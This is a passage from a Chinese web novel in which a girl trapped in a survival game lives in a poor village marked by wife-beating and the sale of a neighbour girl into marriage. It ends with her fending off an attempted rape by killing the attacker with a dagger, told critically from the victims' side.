手上的屏幕仍在,让她迷茫的心脏安定了不少,在男人那走了一遭,他从她带着屏幕的手上夺过酒杯,却没有表现出任何异常,看起来这里的人并不能看见她手上的屏幕。
不知哪里的门被推开,老旧的木门发出“咔咔”的声响。
脚步声随后而至,“幺儿,快来帮忙生柴火。”
一个女人的声音,是这个身份的母亲。
“来了。”
“手脚勤快些,难道你想饿肚子不成?”
玖安加快脚步。布鞋不太适脚,磨得她有些疼。
她看见了女人。
女人明明和男人一个年纪,但是却瘦削极了,像是一根木头,上面接着一个人的脑袋。女人的头发几乎花白,面上皱纹明显,正皱着眉头看着她。
“先去把菜洗了。”女人从她背回来的竹筐里拿出了一扎野菜。那竹筐很大,要比女人的背看起来坚实许多,拿出野菜后,竹筐里剩下的便全是木柴,看起来分量不轻。
玖安好奇女人单薄,骨块明显的背是怎么将这一大筐东西背回家的。她老实地接过野菜,那扎野菜也不过几颗,很轻易便洗好了。
接着是生火,女人烧开水,将野菜放进去,又从米袋里抓了一小把糙米,扔进锅里。
一锅稀到不行的野菜粥。女人早已经拿出碗筷,那些碗的边沿看起来遭遇了许多磕碰,或多或少都有些残缺。她挑出一个看起来最为完好的碗,拿起锅勺,沉到锅底,缓慢地捞,好容易捞出一勺米多于水的粥,倒进那个尚且算好的碗里,又夹了好几根菜叶子,放在粥上。剩下的两个碗,几乎看不见米粒,都是粥水。
女人走到男人所在的房间,“孩她爹,吃饭了。”
“滚!”
女人再出来时,脸上多了个巴掌印子,她沉默着端着那碗看起来最丰盛的粥,走到男人房间。
难怪那男人身上的肉看来还这么多,这个家里最好的都给他了吧。
过了好一阵,女人才重新端着空的碗走出来,沉默地坐在缺了小半截腿,用石块垫着的桌子旁边。
此时粥水已经不冒热气了。
女人从锅里捞出一条野菜,放进玖安的碗里。
“幺儿,快吃吧。”她的嘴角扯出一抹笑,凹进去了脸庞看起来更显骨感,巴掌印子被扯变形,女人吃痛,又恢复了面无表情的模样。
此时桌子上只有两只碗,两双筷,一副是她的,一副是女人的。
12. 春妮
吃完稀粥,女人从房里拿出针线,坐在门口,一针一线地纳着鞋。鞋底已经初见雏形了,是一双女鞋,并不太符合玖安的大小,
日光逐渐浅淡,女人无言,没有关注玖安的动静,她沉浸在自己的世界里,此时此刻,外物不能打扰她一分一毫。
屋子外面是一个小小的院子,破败的篱笆包围着院子,泥地被打理的条条有序,种满了蔬菜,只是这蔬菜看起来实在是有些营养不良,个头不大,叶片萎黄,像是被吸干了精气。
一只老母鸡被关在竹条编的笼子里,毛色毫无光泽,听到动静,无精打采地抬起头,看到来人后,又将脑袋埋进了翅膀里,它面前是几片枯黄的菜叶,估计是就地取材,从旁边的菜地里薅的烂叶子。
平平无奇的院子,和无数个乡下的小院相似。
夜色驱逐起日光,变得浓郁,月亮高挂于空,洒下清浅的光。
屋子里没有点灯,女人不见了踪影。
玖安平躺在床上,双手交握放在肚子上。背包里的物品拿不出来,那一碗粥水实在太过稀薄,不消多长时间就被消耗殆尽,她听着肚子传来的哀鸣,闭上眼睛,希望能尽快入眠。
地面传来轻微的震动,远方似乎传来什么声响,听不真切。
“咚。”石头砸在墙壁,发出沉重的声音,玖安没有理会。
“咚。”声音再一次传来,没完没了,连环绕在玖安身边的蚊子都被吓了一跳。
林玖安忍无可忍,快步走到窗户边,窗户半开着,带着冷意的风送了进来,窗外树影摇曳,发出沙沙的鸣唱。
一个脑袋冒了出来,玖安一惊,下意识就要把窗关上。
“桂花,是我。”女孩子的声音,听起来与她相识,玖安暂停动作,打量面前的女孩。星光和月光给面前的人渡上了一层轮廓,就像给一幅画装裱。
她勉勉强强看清了女孩的五官,是一个看起来和她现在的身份年龄相仿的女孩。
女孩垫着脚,双手撑着窗台,她的手几乎与想要干枯的树枝无异,干燥,皮肤粗糙,指关节处纹路明显,有些许地方开裂了,露出里面带着红色的血肉。
“你听到了吗,刚刚火车开过去的动静?”
玖安想起刚刚地板的震动,点了点头。
“什么时候我们也可以去看一看火车啊?听说火车就像一个大怪兽,脑门上会喷出黑色的烟,跑得比,比……”女孩皱着眉头,挠了挠脸,然后恍然大悟,“比天上的老鹰飞得还要快!”
玖安想起曾经她坐火车的经历,那个时候假期高铁票紧张,她没有抢到动车票,反倒抢到了火车票,回家的时间硬生生比动车要多了几乎一倍,她后面还想着火车果然还是太慢了,还是动车要方便舒适。
“听说火车去往的地方,吃的都是白面,那边的女孩子都能吃得饱饭,不用把食物都留给弟弟。”女孩眼睛里的向往像银河一般流淌出来,“好羡慕你,现在你家只有你一个孩……”
女孩话语一顿,小心翼翼看了玖安一眼,看她没有什么反应,悄悄松了一口气。
“你今天怎么不说话,是不是生病了?”女孩伸出手,想要探一探玖安的额头,玖安一个侧身,躲了过去。
“那就去看看,我们去看看火车。”
“但是去看火车那条路经过树林,我妈老说那里有一个疯子,本来我也不信,但是后面我去问村里的人,她们都说那里有疯子。”女孩面露难色。
“春妮!春妮!你弟弟又哭了,快去哄他!”隔壁传来呼叫,春妮慌乱地回头看了一眼家的方向。
玖安顺着她的视线看过去,只看见一片吃人的黑暗。
“我得先走了。”春妮来不及和玖安告别,猫着腰,像一只偷粮吃的小老鼠,窜了出去。
春妮隐没在黑暗中,被墨色的夜吞没了身影。
玖安躺回冷硬的床榻,蚊子依旧对她不依不饶,但是这一次,她很快入睡了。
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“姐姐,姐姐,你怎么又坐在这里发呆啊?”
“别吵,你听。”面前容貌模糊的女孩手指放在嘴唇前,做了个静音的手势。
“轰隆隆的,好像夏天下雨山上爆发泥石流的声音。”
“那是火车的声音。”
“姐姐,火车是什么?”
“我也不知道,但是总有一天,我会去看看的。”
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第二天没有早餐,玖安饿得前胸贴后背。
“幺儿,昨天休息的时间已经够多了,今天要和我一起下地,不要偷懒了。”
天降噩耗,但是玖安没有办法拒绝,她背上箩筐,拿上工具,跟在女人的身后,离家而去。
村里弥漫着沉重的白雾,十米开外,人畜不分。
脚下的土地坚实,布鞋踏过,荡起轻飘飘的尘土。路边的植物长得不算茂盛,但还是颇具生机。
玖安很快到了属于她们家的田地,很小的一块,泥土下,零零散散的石头冒出浅浅的一角,不知道在看不见的底下,这些石头占了多少空间。
田地里种的不是稻米,而是番薯,这种植物,在根块还没成熟的时候,可以食用它长出的叶子。叶子薅了一把,很快又会冒出来,源源不断的头发,也不过如此。
可是哪怕是这样好养活的植物,看起来依旧沧黄瘦弱,与早产的婴孩又有何异,或许还不如早产儿有生机。
隔着一条田埂,隔壁的土地显得肥沃些,但是长在那一片田地里的产物也一副垂头丧气的模样,让人不觉对比起赌场里连输好几把的赌鬼,或者是手里股票一路绿灯,跌到低谷的股民,彻夜不眠,毫无精神气。
一个年轻女人站在那片土地上,和那里的植物一样眉眼低垂,她的背上,还背着一个小娃娃,看起来嗷嗷待哺的小娃娃,正咬着手指
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吃吃地笑。
“秀娘,今天也来这么早,桂花也来了,真羡慕你,女儿也可以来帮忙,不像我,还得整天带着这傻小子。”年轻女人向她妈妈摆了摆手,眉眼里却藏着一丝丝的骄傲。
“好啥好,今年的收成看起来又不怎么样。”秀娘淡淡地说,不知道是不是错觉,玖安觉得秀娘整个人被淡淡的黑雾包围了,黑雾里的那个秀娘,眼眶里流出两条鲜红的血泪。
玖安眨眨眼,黑雾又消失了,面前还是那个瘦弱的,看起来懦弱又沉默的女人。
一时间空气又安静下来,她们各自拿着农具,打理属于自己的土地。
左推右推,太阳终于舍得上班了。浓郁的雾气此时消散了许多,周围的场景变得清晰可见。
附近的田地里稀稀拉拉分布着不少劳作的人民,但是放眼望去,几乎全是女人。年迈的,弓着腰的女人,中年的,愁苦着脸的女人,年轻的,面容惨白的女人,还有尚且年幼的女童……
“呜哇哇哇……”年轻女人背上的小子爆发出哭喊,他哭得很尽心尽力,脸都憋红了,黑红色的面皮,像一面快要被人敲破的鼓面。
年轻女人慌里慌张地把小孩从背上放了下来,抱在怀里,就在这样光天化日之下,撩起衣摆,把东西塞进了小孩的嘴里。
小孩止住哭声,几乎用尽全身气力吮吸着,但是最后吮吸出来的,是丝丝的鲜血,小孩咬得更费力了。
年轻女人倒吸一口气,原本就暗黄的面色看起来更加淡黯了。
“哈哈,这小子,力气还挺大。”年轻女人苍白着脸说道。
秀娘没有理会,在尽心尽力做着自己的农活。
不远处女人们聊天的声音隐隐约约传来。
“我家那死鬼昨天又不归家,估计又去找村头那婆娘了。”
“真不知道寡妇的滋味就这么让人想念吗?孩他爹每周都去。”
“还不是那狐媚子勾引人的技术厉害。”
“还是秀娘的丈夫好,从不去找女人,秀娘生了两个姑娘,没有一个小子,也没对她怎么样,除了爱喝点小酒。”
“喝酒算啥,大老爷们的就爱这样。”
……
秀娘显然也听见了,她愈发显得沉默。
玖安又看见了,那黑雾更浓重了些,黑雾里的秀娘,像一只被困在笼子里的野兽,嘶吼着,血泪流不尽。
再眨眨眼,面前还是那个秀娘,瘦弱如柴的秀娘。
中午,太阳总算从早起的昏昏沉沉中清醒过来,开始展现它的工作能力,大地被炙烤着,一股泥土的气味。
秀娘从地里挑了一把野菜,和玖安回家了,回家给一个一整天待在家里的,有手有脚,身体健康,智商正常的男人做午饭。
“幺儿,酒,酒!快拿酒来!”手脚正常但是心理瘫痪的男人呼唤道。
秀娘走进厨房,拿了一瓶酒,走向男人待着的卧室。
厨房的米愈发少了,厨房的酒愈发少了。
13. 树下石碑
“咚,咚……”熟悉的石块敲击墙壁的声音,现在天光大亮,玖安轻易将春妮的面容收入眼底。
纤细的骨架撑起她的皮囊,她的下身相较于上半身而言,骨架看起来要大些,支撑着女孩,让她不会被一阵轻飘飘的风吹跑,然后像一只没有线的风筝,越飞越远。
她的眼睛微红,看起来刚刚哭过,眼神里带着丝丝的死气,毫无这个年纪该有的天真无邪,即便有烦恼,也是因为作业来不及写完,课文还没有背熟,但是老师明天就要检查了
春妮的手微微颤抖着,伸过窗户,想要住在什么似的,最后抓住了玖安的手,然后慢慢收紧,像是溺水的人,握住了带着生的希望的一块浮木。
“桂花,你说,我会不会不是人呢?”
“你当然是人。”
“那人和畜生,到底有什么区别呢?”
玖安低下脑袋,看见抓着她手臂的那只手,皮下的血管缓慢地蠕动着,仿佛一条又一条隐匿于人体的虫。
“或许是人可以思考吧,思考什么是对的,什么是错的,思考什么是幸福,什么是痛苦。”玖安按自己的思考给出答案。
春妮的眼睛里放射出细密的光,就这样注视着她。
“桂花,我要去看火车!”
“你不害怕疯子了?”
“不怕了!我不害怕的。”春妮的眼神从玖安的脸上,转移到她握着的手上,两个大小相差不太大的手,紧紧握在一起,分不清彼此。
玖安没有当真,面前的女孩眼神躲闪,没有聚焦,明明是害怕的。
“幺儿,幺儿,酒,快拿酒来!”门外传来男人的呼喊。
“不说了,我爸又喊我了。”玖安晃了晃被春妮抓住的那只手,示意她松开。
春妮没有抬头,就这么低着脑袋看着自己的脚,缓慢地松开她的手,又忽然一个用力,将玖安拉近。
她低着嗓子,低低地说:“桂花,别去买酒,不要去买酒。”
她又收回了手,身影慢慢地远离,像飞向天空的泡泡,下一秒就要破裂消失。
玖安来到厨房,秀娘正在磨刀,刀面与磨刀石相碰,发出“嚓嚓”的声响,刀面被磨得光亮,映着秀娘的眼眸,那冰冷的光照进秀娘的眸子,像流淌的月光,显得她格外的冷漠,磨刀石看起来使用的年岁已经不短,已经被磨出了一个不太浅的坑。
看到玖安走进来,秀娘停下手里的动作,扭过头,看着她,“桂花,来做什么呢?”
“来拿一瓶酒。”
秀娘放下手里的刀,转过身子,拿了一瓶酒,玖安注意到,厨房里的酒所剩无几,按照男人酗酒的速度而言,不出两日,酒将一滴不剩。
“不要去买酒。”春妮的嘱咐仿佛回荡在玖安的耳边,让她不觉有些不安无措。
“我拿去给他吧。”秀娘如是说,她迈着看起来颇有些踉跄的步子,手里捧着那瓶酒,向外走去。
不知何时,外面下起了雨,风夹着细雨,在空中共舞,不知疲倦,染着泥土的香气。
秀娘如鬼魅般出现在门口。
“桂花,下雨了,和我去村头坐一坐吧。”
“好的。”
家里只有一把伞,一把破败的伞,伞面上破了些许小孔,上面还沾染不知什么时候蹭上去的泥土。
一打开,雨伞散发出陈旧的气味。
玖安的身量比秀娘大,她撑起伞,秀娘站在她的身侧,显得更加瘦小。
村子不算小,村道旁,野草长得浓密,几乎可以把人严严实实地遮挡住。
村口有一个高大繁茂的大榕树,层层叠叠的叶子把雨拒绝在地盘之外,树下,有许多女人席地而坐。
她们的到来没有引起任何人的注意,她们聊得正火热。
“你们家春妮可真是个好孩子,把你家的小子照料得真好,看他那胖小脸蛋子。”
一个手指如鸡爪子一样骨节突出的手捏了一把娃娃的脸蛋,那娃娃面色红润,脸蛋圆滚滚,被捏得撇着嘴,似乎下一秒就要哭嚎出声。
他的母亲忙从怀里掏呀掏,掏出一块糖,塞到了那胖小子的嘴里,那小子闭上嘴,嘴巴蠕动着,吮吸那块糖。<
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“不是小子,再好顶个屁用。”
“你真舍得把她嫁出去啊,这么乖巧的女儿。”
“嗨,那不是这小子现在长个子嘛,只是可是春妮嫁出去后,就没有人给我干活了。”那女人看起来毫不在乎,实在要说,只是语气里带着点惋惜,那种以后没有人帮她忙的可惜。
她们像谈论商品一样讨论着一个女子的赏味期值多少钱。
“嘿,秀娘,话说桂花也差不多到年纪了。”有人将话题扯到她们身上。
“是呀。”秀娘一副淡漠的摸样。
那人觉得无趣,又加入了其他的话题。
玖安坐在地上,手揪起一根小草,从中间掰断,然后又拔起一根。
“你们有没有听到那什么玩意的声响?”
“啥,火车?”
“哦对对,就是叫这个名!我睡眠浅,最近老是被它吵得睡不好。”
“那你睡眠挺轻。”
“哪里是我的问题,明明那什么劳子玩意离这近的很,就顺着这条路走,肯定很快就到了,就是那个疯子在那里嘞,谁敢去?”女人手指指着前方。
玖安顺着女人指着的方向望去,默默记下了方向。
明明是秀娘提出要来村头坐一坐,她却也不插入女人们的话题,就那样静悄悄地坐在旁边,沉默地听着,像一只坏掉的时钟,指针不会再往前跑。
这估计是这群女人们难得的闲暇时光,她们接续不断地聊着,几乎要从地球的最东方,谈到地球的最西方。
林玖安几乎要不耐于这些妇女口中丈夫的风流事,还有自家小子顽皮但被称赞为小子的天性的熊孩子记录,她从榕树的这头,拔着树底的杂草,但又不满足于只拔脚下的,她缓慢移动,不知不觉,移动到树的那头。
玖安一抬头,看到树下有什么东西,
那是树下立着的一块朴素的石碑,上面写着:
天使下凡尘,
赐你一杯羹,
受宠先谢恩,
倒进污水盆。
很熟悉的几行字。
14. 祭典
林玖安抚上那石碑,石碑入手却不似她想象中的冰冷坚硬,反而质地温润,像玉,也有点像人的皮肤。
上面的字已经开始遭遇磨损,看起来有些年份了。
玖安一个字一个字地仔细研读,想要从里面获取想要的消息,但是除了她早就在画卷里看到的那几句话,再没其他信息,她一无所获。
脚下泥土湿润,野草长得疯狂,翠绿,昂扬,生机勃勃,引人注目。一朵红色的野花长在野草间隙,毫不避讳地展示自己妙曼的身姿,炫目得不禁让人想要破坏。
“桂花,该走了。”是秀娘的声音,不知何时,她正站在玖安的身后,将她的一举一动都收入眼底,不知道关注了她多久。
玖安吓了一跳,后又呐呐道:“来了。”
回去的时候雨已经停止了,破旧的雨伞被玖安拿在手里,上面的泥巴在来时被冲洗干净,整把伞看起来焕然一新。
秀娘走在她的前面,突然停了下来,她盯着她的眼睛,面上带着些玖安看不懂的神色。
“桂花,我可以牵着你的手吗?就像小时候一样。”
“当然可以。”
秀娘牵住了她的手,一只骨骼明显但略小的手,牵着另一只看起来纤细但略大的手。
年长女性的体温透过这一只有着厚重茧子的手传到玖安的手上,然后沿着她的胳膊,渐渐蔓延,像冬日里的一个火把,她的心脏在这股暖意中怦然跳动。
莫名的,一种依赖感,对秀娘的依赖感,像吃饱了汽油的火焰,腾然而生,玖安生起一股冲动,她想像五六岁的小孩那样,抱着秀娘的一条大腿,甜津津地喊她妈妈,说些最爱妈妈之类的俏皮话。
那实在是太丢人了,她现在这个身体的身量,比秀娘还要高上不少,几乎无法想象如果她作出这样的举动,该会多么让人震惊,以至于眼镜都要被震碎。玖安压下了这一股冲动。
这冲动来得快也去得快,那年头像台风一样一转,不一会就消失殆尽,只是留下一地凌乱的心绪。
此时天已经缓慢暗了,雨后微凉的风带着些许的冷意抚在她们的身上,她们在湿润的泥土上留下一串的脚印,身后的路,慢慢被黑夜吞食干净。
不消多长时间,她们回到家,玖安松了一口气,放开秀娘的手,从尴尬的氛围脱离出来,回到自己的房间。秀娘在她的身后,在她看不见的黑暗中,拿着那一把破败的雨伞,像一只上了发条的木偶,缓慢地移动,走向那扇属于她的门。
这一个晚上,玖安睡得很早,她毕竟不是一个土生土长的,在田地里刨食的农民,她的灵魂,还是属于那一个从出生到现在,家务都很少做,每一天做得最频繁的事就是读书学习的女孩。
早上的劳作已经够她喝一壶的了,现在她觉得自己就像一头拉了一整天磨盘的驴,手疼,脚疼,脑子也疼。几乎是脑袋沾上床的那一刻,她就陷入了深沉的睡眠。
前半夜一切如常,许是因为春妮午时已经找过玖安,解答了心中的疑问,晚上,她并没有再一次用石块敲击墙壁。
后半夜事情却有些不对劲起来,外面隐隐约约传来了大声的叫骂,木板打在肉上发出的声响,女子的惊叫,小孩的嚎哭。混乱得像一锅熬过了时间的八宝粥,分不清红豆绿豆。
玖安被这些声响从睡梦中叫醒,她辗转反侧,紧闭着双眼,仿佛这样就可以屏蔽掉所有的噪音。当然,实际上这毫无用处,甚至黑暗让她更加的焦虑难安。
这样的噪音持续了大半夜,直到后来,或许吵闹的那家人也累了,堪比菜市场的噪音慢慢地平息了,只留下了一个女性的啼哭,忧怨哀长,绵延不绝。
玖安就在这样的哭声中慢慢入睡,最后只剩下那哭声伴着乌鸦的啼叫,经久不绝,回荡在这样寂静的农村的夜晚。
早上,玖安是在一片吹锣打鼓的声响中醒来的,前两天在她印象里仿佛死去多年的村落,在今天莫名地活了过来,就像已经确诊死亡的尸体,在送进焚烧炉的前一秒,从棺材里坐了起来。
村里热闹极了,女人,孩子,还有基本不见其面的男人们,全都出来了,好像下一秒就要经历世界末日一般,那些男人们尽情地在并不宽阔的道路上抽着劣质的烟草,一口一口往胡茬遍布的嘴里灌满浑浊的用粮食酿的酒。
劣质的烟草经过燃烧,释放出味道浓烈的烟,几乎要把这里搞得乌烟瘴气,气味刺鼻的烟让刚刚打开门的玖安止不住地咳。
那个整日整日待在房间里酗酒,仿佛一块粘性极强的,已经被狠狠咀嚼过的口香糖死死黏在在床上,连饭都得端进去才吃的,这具身子的生理学父亲终于舍得离开他的寄生所,走在阳光之下。
他眯着眼看了眼太阳,似乎不太适应这强烈的光,又换了个位置,躲在了阴影之下。
那个男人晲着眼睛,打量似的在玖安的身上扫了两眼,又收回视线,端起瓶子,一口将里面的酒水饮尽。
他慢悠悠地直起身子,缓慢地挪动他那对比起秀娘和桂花而言,已经算得上庞大结实的身躯,像一只蜗牛一般,向厨房移动。
秀娘正在院子里杀鸡,昨天被磨得锋利的刀非常利落地将老母鸡的脖子割开一个口子,鲜红的血喷涌而出,又全部落入秀娘提前准备好的碗里,慢慢凝固,变成了一块血豆腐。
“桂花,快来帮忙。”她看到了玖安。
“为什么要杀这只母鸡,它已经不能下蛋了么?”玖安走了过去。
秀娘看了眼玖安脑袋上的伤口,那道口子现在已经慢慢开始结痂,偶尔泛着奇异的痒,但并不严重。
“傻孩子,看来你都要被砸傻了,今天是祭典,你忘了吗?”
玖安恍然,拍了拍自己的脑袋,“哎呀,看我这记性,脑袋瓜子不好使了。”她顺着秀娘话说到。
秀娘将鸡浸入热水中,又将它提起,将鸡毛快速地拔下。
“快去把菜洗一洗。”
玖安端着菜去洗了。
院子外一个女人抱着一个小子,和身旁的女人聊着天。<
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“该死的贱妮子,居然敢跑,还好昨天把她抓回来了。”
“看不出来呀,春妮可是村里最听话的女孩,怎么会跑呢?”
听到熟悉的名字,玖安手里的动作慢了下来,顺着敞开的门,她认出了那个女人,那是春妮的母亲。
“她可值五斗米,还有一盒子的糖块呢,够我们家小子吃上许久的了。”
那女人得意洋洋,从口袋里掏出一块糖,递给怀里的小子,那小子拿着糖块,笑得痴傻,口水顺着嘴角掉落,被他妈用手一抹,然后那手又蹭过自己的衣服,把手上粘着的液体蹭掉。
“我可是特意选了明天的婚期,这样她今天祭典还能帮我忙呢。”
“你不怕她再跑?”
“怕什么,昨天她可是被我家那男人打得半死呢,这死鬼一听到他的酒和烟要跑了,那可是比我还要着急呢。更何况我用铁链子拴着她,她能跑到哪里去?”
那女人高仰着脑袋,像一只骄傲的战胜的公鸡。
玖安无意识地搓动手里的青菜,菜叶不堪搓洗,碎成一片又一片。
春妮,这个和她相识仅仅两天的女孩。
她的脑海里浮现了春妮的脸,那张质朴的脸上,扬起大大的笑脸,像一朵开得旺盛的太阳花,带着无限的希望,告诉她:“我要去看看火车。”
可是现在,那个充满生机的女孩像一条狗一样被拴在她的家里,带着遍身的伤痕,等待将她取走的主人。
她仿佛已经不是一个人了,而是一个物件,随意地被交易出去。
她的性别,她的容貌,她身上所有指的被夸赞的特性,变成了交易的筹码。
玖安无法用言语来形容现下她的心境。她的思绪犹如一团乱麻,剪不断,理还乱。
莫名的情绪在她的胸膛翻滚,她觉得眼泪就要从眼眶里跑出来了。
为什么会这样呢,为什么呢?
她明明是一个坚强的人,春妮是不是去看火车了,昨天晚上是不是她在整夜的啼哭,像一个失去灵魂的鬼,只能无助地哭泣?
可是玖安不知道自己能做什么,这是生存游戏里的一个随机事件。
只是一个事件罢了,她如是想,一切都不是真实的。
可是她的心脏依旧在极速地跳动着,几乎要跳出她的胸膛,变成外面的一颗孤魂野心。
玖安将青菜捞了出来,沥干水,放在盘里。秀娘已经将鸡处理干净,她拿着冲洗干净血迹的刀,在磨刀石上打磨。
男人无所事事地站在旁边,喝着那瓶他亲自动手,新拿出来的酒,像欣赏戏剧一样看着她们忙活。
然后他歪斜着脑袋,带着诡异的笑容,眼神落在玖安的身上。
“幺儿,厨房里的酒没了,快去帮我买酒吧。”
玖安心里慌乱,将求助的目光投向秀娘,秀娘的嘴角扬起奇异的弧度。
“那就去吧,桂花。”
“叮,剧情已进行百分之六十,请玩家作出正确选择!”
15. 买酒路上 那就杀死他。
冰冷冷的机械音在她的脑海里循环,像一把小小的钝刀,将她的脑浆磨成豆浆。
男人站在一旁,冷眼旁观且充满恶意。
玖安不能明白那恶意是从何而来,但是她却明显能感受到属于成年男性的目光落在她的身上,那种带着审视的打量意味的目光。
“和我来拿钱去买酒吧。”秀娘停下手上的工作,率先走进了屋子。
林玖安不清楚哪些选择是正确的,但是就目前而言,可供她选择的余地并不大,她跟在秀娘的身后,像一只努力追随母亲脚步的鸭子,颇有些四肢不调。
秀娘的屋子干净整洁,榻上是一张铺展开的,零零散散绣着许多朵梅花的薄被,看起来颇具少女的意趣。还没勾好的鞋放在窗台上,鞋头的一只梅在斜斜照进来的阳光底下显得熠熠生辉。
秀娘将窗台上放在鞋子旁边的花盆拿了过来,里面一只小芽,半死不活的□□着。
她毫不犹豫把小芽拔起,在泥下挖了挖,掏出了几个铜板。但泥下面不止是铜板,秀娘几乎要把这花盆翻了个底朝天,挖出来的泥土被随意地堆在桌边,变成一座小山,不可置信地看着自己裸露的身体。
花盆底下,藏着一把匕首,一把被磨得锋利,哪怕粘染了泥土,也能轻易辨认出其铮铮铁骨的匕首。
“好孩子,快过来吧。”秀娘转过脑袋,头上的木质发簪上刻着一只小花,雕刻的人看起来技艺并不怎么精湛,那小花看起来粗糙且普通。
发簪显然被经常使用,被磨得透亮。
秀娘把匕首放在了玖安的手上,那匕首的握处还带着点秀娘的体温,显得没有这么寒冷。
“如果一个人想要获取你身上的某种东西,要看清楚他给出的交易品与他想要的东西是否价值相符,如果不相符的话,聪明的孩子会有自己的解决方法。”秀娘接着将铜板放在了玖安另一只手上,将她的手握紧,好让铜板找不到机会偷偷离家出走。
“好孩子,买酒的地方就在昨日我们去的那颗大树,再往前走就是了。”这时的秀娘就像一位看着自己心爱的孩子第一次去打酱油的母亲,循循善诱,谆谆教导。
“好的,”玖安停顿了好一会儿,“妈妈。”
秀娘握着玖安拳头的手骤然收紧,面上却没有其他神色,好半晌,才松开了她的手。
“去吧,好孩子。”
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去买酒的路异常的顺利,祭典像是引燃火堆的那一根火柴,村里热闹非凡,男女老少,欢歌载舞,连空气都要忍不住高歌一曲。
在这样的氛围下,玖安的心情放松了些,至少目前看来,一切都好。
卖酒的地方是一个小小的便利店,店的门前,许多男人或坐在地上,闲散地谈着天,半只眼睛晲着,打量过路的每一个人,或揣着看起来颇有分量的烟筒,倚靠在碗口大的树边,是不是来上一大口,然后从鼻子里喷出形态各异的烟。
那些烟缓慢地消散,好似把自己的灵魂从身躯里扯出来撕碎,扔在空中,像被大风吹飞的绒毛般,踪迹全无。
林玖安屏着气,小心翼翼地把自己丢进人堆,然后再分离开,把蛋黄从整颗打碎的鸡蛋中打捞出来似的。
小卖部的商品虽不如现代超市的丰盛,但也算得上琳琅满目,包装各异的糖果,烟和酒,整齐地摆放着,麻雀虽小,却五脏俱全。
那几枚需要被秀娘藏在泥土里的铜板,却只换了两瓶酒,两瓶不大的,男人一天就可以全部喝完的酒。
走出小卖部,一粒石子砸在玖安的背上,传来一阵尖锐的疼痛。
玖安回头,是一个很小的男孩,不过四五岁,笑得狰狞,仿佛会吃人似的。
“贱蹄子。”那男孩见她回头,眉毛一抬,恶狠狠地骂到。
他手里还握着一块石头,那石块比他的手还大,他向后倒,将石块向她抛来,石块迫不及待地向前,玖安往旁边躲闪,堪堪躲过,石头落在旁边的土地上,发出沉闷地痛呼。
那男孩穿得邋遢,身上的褂子上黑的灰的,许多污渍交杂成团,东一块西一块,吸附在他身上的菟丝子似的。
一个强壮的男性站在他的身后,眼神意味不明,落在她的紧握着的手上,又缓慢地移到她的腰上,视线上移,划过她的腰腹,胸脯,最后停留在她的脸上,调戏似的挑了挑眉毛,眼神里带着戏谑,好似对方是自己的什么宠物。
玖安不欲与之纠缠,她提着酒,压下满心的火气,快步离开。
风哗啦啦地吹着,路旁树影摇曳,成片的杂草似地毯,毛绒柔软。
细小的雨丝试探性地落入人间,确认安全后,召唤来身形更加巨大的同伴。
干燥的土地晕开深色的痕迹,然后如泼墨的画卷,逐渐展示它的天赋。路上行人几几,匆匆往家里赶。
玖安提着酒,雨落了她满面,她加快脚步,想要快些回到家里。
脚下突然传来一阵拉拽感,她扑倒在地,打满补丁但清洗得干净衣服与泥水亲密接触,抵死缠绵,分不清彼此。
一双手,不知道是谁的手,像脚铐一样死死抓紧她的脚踝,其力气之大,几乎不给玖安反抗的余地,对付一只小鸡仔似的。
她的后背传来火辣辣的疼痛,成片的杂草和越下越起劲的雨水挡住了她的视线,恐惧像在空中破裂开的烟花,或是像炸开的水球,将她浇淋得彻底。眼泪不受控制地从眼眶中夺门而出,混合在雨水里,分不清彼此。
她模模糊糊看见了一个男人的身影,那男人大笑着的嘴脸,那男人势在必得的目光,深深刻在她的灵魂深处,让她止不住地战栗。
他压在她身上,温热的,带着恶臭地呼吸喷在她的脖颈上,那片肌肤觉得恶心,不断地冒出细碎的鸡皮疙瘩。
她终于看清了那个男人的脸,是刚才那男孩背后的男人。
他扯开她的腿,一直以来生活在和平社会,过得顺风顺水的玖安终于意识到,那个男人究竟想要做些什么。
她拼命挣扎,大声呼喊。
但是没有人来救她,好似这个世界所有人都死绝了般,什么人啊,动物啊,都消失殆尽,只留下施暴者,还有受害者。
她手脚乱动,像溺水的鱼,那男人的手抚上她的脸,厚
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重但粗糙的手上倒刺明显,刮在她的脸上,理应传来疼痛的。
但是无边的恐惧让她瞳孔骤缩,男人压制着她的腿,没有进行下一步动作,就这样摸着她的脸,欣赏着她挣扎的姿态,就好像一个屠夫,在欣赏自己刀下濒死的小羔羊。欣赏那冰冷的属于刀的光印在羊羔盛满恐惧的瞳孔里的画面,欣赏羊羔绝望的眼神,然后自觉自己是一位有着盛名的艺术家,正在欣赏着一幅世界名画。
身边的草丛涌动,哗哗的声响,好似粗糙的布料与杂草摩擦发出的身影。
男人的腿紧紧压制在她的身上,肌肉紧绷,他警惕地转头,“谁?”
没有人回应,好半晌,传来一声猫叫。
“死玩意。”那男人呸了一声。
“打扰老子的好事,等会不得把你皮扒了挂房顶上风干。”
在极度的恐惧之后,玖安莫名地冷静下来,她感觉她身上的体温快速流逝,她的手脚冰凉,但是却摸到了那把匕首——秀娘给她的匕首。
动静响起,她一方面在心里祈祷有人能来救她,一方面又近乎理智地知道,这种时候,只有自己是最靠谱的。
没有人注意到这个凌乱的草丛,没有人可以帮助这个困境之中的女孩。
只有一只猫,一只什么都不知道,在这之后也可以继续快乐生活着的猫。
那男人见没有人来打扰他的好事,俯下身来,似乎要开始享用属于他一个人的正餐。
玖安没有挣扎,好似已经听天由命。
这当然是一个好情况,配合的羊羔总比会亮爪子的猫咪更方便行事,虽然凶巴巴的猫咪也别有风味。
有什么所谓呢,下一次找一个小辣椒不就可以弥补这一次的遗憾了吗?那男人这么想着,有些松懈。
但是人不是羔羊,人是聪慧的,狡诈的,更何况玖安是个拥有反抗能力的十四五岁的少女,而不是一个古稀的,移动困难的老人。
玖安看准时机,匕首一动,直直往那男人的眼睛捅去。
匕首实在尖利,轻易刺进他的眼眶,是什么东西裂开的感觉,像扎破了一个球体。
男人捂着眼睛,从她的身上滚了下来,左右翻滚,像被活活放在火上烤的螃蟹,嘴里发出一声接着一声痛苦的哀嚎。
真是奇怪呀,明明男人受伤也会痛得大叫,那为什么他们却如此心安理得地给女人带来伤害呢?
明明是这种时候,玖安却近乎冷静,好似一个毫无感情的机器人。
她非常轻易地找到那男人的颈动脉,然后毫不留情地将匕首捅了进去,割断了他的动脉。
鲜红的,温热的血四处溅射,好似一个毫无价值的垃圾,在生命的最后关头,想要像烟花一样展示自己的余晖。
